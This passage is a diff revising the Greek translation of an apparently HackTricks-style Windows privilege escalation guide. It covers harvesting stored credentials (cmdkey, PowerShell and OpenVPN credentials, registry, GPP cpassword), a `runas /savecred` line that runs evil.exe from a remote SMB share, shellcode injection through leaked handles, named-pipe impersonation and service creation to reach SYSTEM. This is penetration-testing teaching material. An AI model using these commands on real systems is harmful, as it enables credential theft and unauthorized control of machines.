[https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Η Windows Vault αποθηκεύει τα διαπιστευτήρια χρηστών για διακομιστές, ιστότοπους και άλλα προγράμματα που **Windows** μπορεί να **συνδέσει τους χρήστες αυτόματα**. Στην πρώτη περίπτωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, τα διαπιστευτήρια του Twitter, τα διαπιστευτήρια του Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των προγραμμάτων περιήγησης. Αλλά δεν είναι έτσι. +Από [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Το Windows Vault αποθηκεύει τα διαπιστευτήρια χρηστών για διακομιστές, ιστοσελίδες και άλλα προγράμματα που **Windows** μπορεί να **συνδέσει τους χρήστες αυτόματα**. Στην πρώτη περίπτωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, τα διαπιστευτήρια του Twitter, τα διαπιστευτήρια του Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των προγραμμάτων περιήγησης. Αλλά δεν είναι έτσι. -Η Windows Vault αποθηκεύει διαπιστευτήρια που μπορεί να συνδέσει αυτόματα τους χρήστες, που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για να αποκτήσει πρόσβαση σε μια πηγή** (διακομιστής ή ιστότοπος) **μπορεί να χρησιμοποιήσει αυτόν τον Credential Manager** & Windows Vault και να χρησιμοποιήσει τα διαπιστευτήρια που παρέχονται αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης συνεχώς. +Το Windows Vault αποθηκεύει διαπιστευτήρια που το Windows μπορεί να συνδέσει τους χρήστες αυτόματα, που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για να αποκτήσει πρόσβαση σε μια πηγή** (διακομιστής ή ιστοσελίδα) **μπορεί να χρησιμοποιήσει αυτόν τον Credential Manager** & Windows Vault και να χρησιμοποιήσει τα διαπιστευτήρια που παρέχονται αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης όλη την ώρα. -Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για μια δεδομένη πηγή. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει τη vault, θα πρέπει κάπως **να επικοινωνήσει με τον credential manager και να ζητήσει τα διαπιστευτήρια για αυτήν την πηγή** από την προεπιλεγμένη αποθήκη. +Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για μια δεδομένη πηγή. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει το vault, θα πρέπει κάπως **να επικοινωνήσει με τον credential manager και να ζητήσει τα διαπιστευτήρια για αυτή την πηγή** από το προεπιλεγμένο αποθηκευτικό vault. Χρησιμοποιήστε το `cmdkey` για να καταγράψετε τα αποθηκευμένα διαπιστευτήρια στη μηχανή. ```bash @@ -717,7 +717,7 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Μπορείτε να χρησιμοποιήσετε το `runas` με τις επιλογές `/savecred` προκειμένου να χρησιμοποιήσετε τα αποθηκευμένα διαπιστευτήρια. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο δυαδικό μέσω ενός SMB share. +Μπορείτε να χρησιμοποιήσετε το `runas` με την επιλογή `/savecred` προκειμένου να χρησιμοποιήσετε τα αποθηκευμένα διαπιστευτήρια. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο δυαδικό μέσω ενός SMB share. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` @@ -758,7 +758,7 @@ dpapi-extracting-passwords.md Οι **PowerShell credentials** χρησιμοποιούνται συχνά για **σενάρια** και αυτοματοποιημένες εργασίες ως τρόπος αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων με ευκολία. Τα διαπιστευτήρια προστατεύονται χρησιμοποιώντας **DPAPI**, που σημαίνει συνήθως ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή στον οποίο δημιουργήθηκαν. -Για να **αποκρυπτογραφήσετε** ένα PS credentials από το αρχείο που το περιέχει, μπορείτε να κάνετε: +Για να **αποκρυπτογραφήσετε** μια PS credentials από το αρχείο που την περιέχει, μπορείτε να κάνετε: ```powershell PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -916,7 +916,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!NOTE] -> Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω μερικά ssh keys, να τα προσθέσω με το `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού. +> Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω κάποια ssh κλειδιά, να τα προσθέσω με το `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού. ### Unattended files ``` @@ -980,7 +980,7 @@ AppData\Roaming\gcloud\access_tokens.db Μια δυνατότητα ήταν προηγουμένως διαθέσιμη που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Προτιμήσεων Πολιτικής Ομάδας (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά κενά ασφαλείας. Πρώτον, τα Αντικείμενα Πολιτικής Ομάδας (GPOs), που αποθηκεύονται ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό συνιστούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει στους χρήστες να αποκτήσουν ανυψωμένα δικαιώματα. -Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά κρυπτογραφημένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Μόλις βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας. +Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά κρυπτογραφημένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας. Αναζητήστε σε `C:\ProgramData\Microsoft\Group Policy\history` ή σε _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (προτού το W Vista)_ για αυτά τα αρχεία: @@ -1024,7 +1024,7 @@ Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction ``` -### OpenVPN διαπιστευτήρια +### Πιστοποιητικά OpenVPN ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1137,13 +1137,13 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Διαπιστευτήρια στον Κάδο Ανακύκλωσης +### Credentials in the RecycleBin Πρέπει επίσης να ελέγξετε τον Κάδο για να αναζητήσετε διαπιστευτήρια μέσα σε αυτόν Για να **ανακτήσετε κωδικούς πρόσβασης** που έχουν αποθηκευτεί από διάφορα προγράμματα μπορείτε να χρησιμοποιήσετε: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Μέσα στη μητρώο +### Inside the registry **Άλλες πιθανές κλειδαριές μητρώου με διαπιστευτήρια** ```bash @@ -1221,7 +1221,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ## Leaked Handlers Φανταστείτε ότι **μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία** (`OpenProcess()`) με **πλήρη πρόσβαση**. Η ίδια διαδικασία **δημιουργεί επίσης μια νέα διαδικασία** (`CreateProcess()`) **με χαμηλά δικαιώματα αλλά κληρονομεί όλα τα ανοιχτά handles της κύριας διαδικασίας**.\ -Έτσι, αν έχετε **πλήρη πρόσβαση στη διαδικασία με χαμηλά δικαιώματα**, μπορείτε να αποκτήσετε το **ανοιχτό handle της διαδικασίας με δικαιώματα** που δημιουργήθηκε με `OpenProcess()` και **να εισάγετε ένα shellcode**.\ +Έτσι, αν έχετε **πλήρη πρόσβαση στη διαδικασία με χαμηλά δικαιώματα**, μπορείτε να πιάσετε το **ανοιχτό handle της διαδικασίας με δικαιώματα** που δημιουργήθηκε με `OpenProcess()` και **να εισάγετε ένα shellcode**.\ [Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). @@ -1233,7 +1233,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss Όταν δεδομένα αποστέλλονται μέσω ενός pipe από έναν **πελάτη**, ο **διακομιστής** που έχει ρυθμίσει το pipe έχει τη δυνατότητα να **αναλάβει την ταυτότητα** του **πελάτη**, εφόσον έχει τα απαραίτητα δικαιώματα **SeImpersonate**. Η αναγνώριση μιας **προνομιούχου διαδικασίας** που επικοινωνεί μέσω ενός pipe που μπορείτε να μιμηθείτε παρέχει μια ευκαιρία να **κερδίσετε υψηλότερα δικαιώματα** υιοθετώντας την ταυτότητα αυτής της διαδικασίας μόλις αλληλεπιδράσει με το pipe που έχετε δημιουργήσει. Για οδηγίες σχετικά με την εκτέλεση μιας τέτοιας επίθεσης, μπορείτε να βρείτε χρήσιμες οδηγίες [**here**](named-pipe-client-impersonation.md) και [**here**](#from-high-integrity-to-system). -Επίσης, το παρακάτω εργαλείο επιτρέπει να **παρακολουθείτε μια επικοινωνία named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράφετε και να βλέπετε όλα τα pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Επίσης, το παρακάτω εργαλείο επιτρέπει να **παρεμβάλλετε μια επικοινωνία named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράφετε και να βλέπετε όλα τα pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Misc @@ -1301,25 +1301,25 @@ Windows 10 1709 16299 link NOT opened https://github.com/jas502n/CVE-2019-1388 -## Από Administrator Medium σε High Integrity Level / UAC Bypass +## Από το Medium επίπεδο Ακεραιότητας σε Υψηλό / Παράκαμψη UAC -Διαβάστε αυτό για να **μάθετε για τα Integrity Levels**: +Διαβάστε αυτό για να **μάθετε για τα Επίπεδα Ακεραιότητας**: {{#ref}} integrity-levels.md {{#endref}} -Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τα UAC bypasses:** +Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τις παρακάμψεις UAC:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## **Από High Integrity σε System** +## **Από Υψηλό επίπεδο Ακεραιότητας σε Σύστημα** ### **Νέα υπηρεσία** -Εάν ήδη εκτελείτε μια διαδικασία High Integrity, η **μετάβαση σε SYSTEM** μπορεί να είναι εύκολη απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**: +Εάν ήδη εκτελείτε μια διαδικασία Υψηλής Ακεραιότητας, η **μετάβαση σε SYSTEM** μπορεί να είναι εύκολη απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename @@ -1333,40 +1333,40 @@ sc start newservicename **Μπορείτε** [**να βρείτε τον κώδικα εδώ**](seimpersonate-from-high-to-system.md)**.** -### From SeDebug + SeImpersonate to Full Token privileges +### Από SeDebug + SeImpersonate σε πλήρη δικαιώματα Token -Εάν έχετε αυτές τις προνόμια token (πιθανώς θα το βρείτε σε μια ήδη Υψηλής Ακεραιότητας διαδικασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι προστατευμένες διαδικασίες) με το προνόμιο SeDebug, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\ -Η χρήση αυτής της τεχνικής συνήθως **επιλέγει οποιαδήποτε διαδικασία που εκτελείται ως SYSTEM με όλα τα προνόμια token** (_ναι, μπορείτε να βρείτε διαδικασίες SYSTEM χωρίς όλα τα προνόμια token_).\ +Εάν έχετε αυτά τα δικαιώματα token (πιθανώς θα τα βρείτε σε μια ήδη Υψηλής Ακεραιότητας διαδικασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι προστατευμένες διαδικασίες) με το δικαίωμα SeDebug, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\ +Η χρήση αυτής της τεχνικής συνήθως **επιλέγει οποιαδήποτε διαδικασία που εκτελείται ως SYSTEM με όλα τα δικαιώματα token** (_ναι, μπορείτε να βρείτε διαδικασίες SYSTEM χωρίς όλα τα δικαιώματα token_).\ **Μπορείτε να βρείτε ένα** [**παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει στο `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψετε σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το προνόμιο **`SeImpersonate`** θα μπορεί να **παριστάνει το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας προνόμια SYSTEM.\ +Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει σε `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψετε σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το δικαίωμα **`SeImpersonate`** θα μπορεί να **παριστάνει το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας δικαιώματα SYSTEM.\ Εάν θέλετε να [**μάθετε περισσότερα σχετικά με τους ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](#named-pipe-client-impersonation).\ Εάν θέλετε να διαβάσετε ένα παράδειγμα [**πώς να πάτε από υψηλή ακεραιότητα σε System χρησιμοποιώντας ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Εάν καταφέρετε να **καταχραστείτε μια dll** που **φορτώνεται** από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, η Dll Hijacking είναι επίσης χρήσιμη για αυτό το είδος κλιμάκωσης προνομίων και, επιπλέον, είναι **πολύ πιο εύκολη να επιτευχθεί από μια διαδικασία υψηλής ακεραιότητας** καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\ -**Μπορείτε** [**να μάθετε περισσότερα σχετικά με την Dll hijacking εδώ**](dll-hijacking/index.html)**.** +Εάν καταφέρετε να **καταχραστείτε μια dll** που **φορτώνεται** από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, το Dll Hijacking είναι επίσης χρήσιμο για αυτό το είδος κλιμάκωσης δικαιωμάτων και, επιπλέον, είναι **πολύ πιο εύκολο να επιτευχθεί από μια διαδικασία υψηλής ακεραιότητας** καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\ +**Μπορείτε** [**να μάθετε περισσότερα σχετικά με το Dll hijacking εδώ**](dll-hijacking/index.html)**.** -### **From Administrator or Network Service to System** +### **Από Administrator ή Network Service σε System** {{#ref}} https://github.com/sailay1996/RpcSsImpersonator {{#endref}} -### From LOCAL SERVICE or NETWORK SERVICE to full privs +### Από LOCAL SERVICE ή NETWORK SERVICE σε πλήρη δικαιώματα **Διαβάστε:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## More help +## Περισσότερη βοήθεια [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Useful tools +## Χρήσιμα εργαλεία -**Καλύτερο εργαλείο για αναζήτηση διαδρομών κλιμάκωσης τοπικών προνομίων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Καλύτερο εργαλείο για αναζήτηση παραγόντων κλιμάκωσης τοπικών δικαιωμάτων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** @@ -1408,21 +1408,21 @@ _multi/recon/local_exploit_suggestor_ ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## Βιβλιογραφία +## Αναφορές -- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\\ -- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\\ -- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\ -- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)\\ -- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)\\ -- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)\\ -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)\\ -- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)\\ -- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)\\ -- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\ -- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)\\ -- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\ -- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\ +- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) +- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) +- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) +- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop) +- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo) +- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html) +- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) +- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) +- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md) +- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation) +- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/) +- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation) +- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections) {{#include ../../banners/hacktricks-training.md}}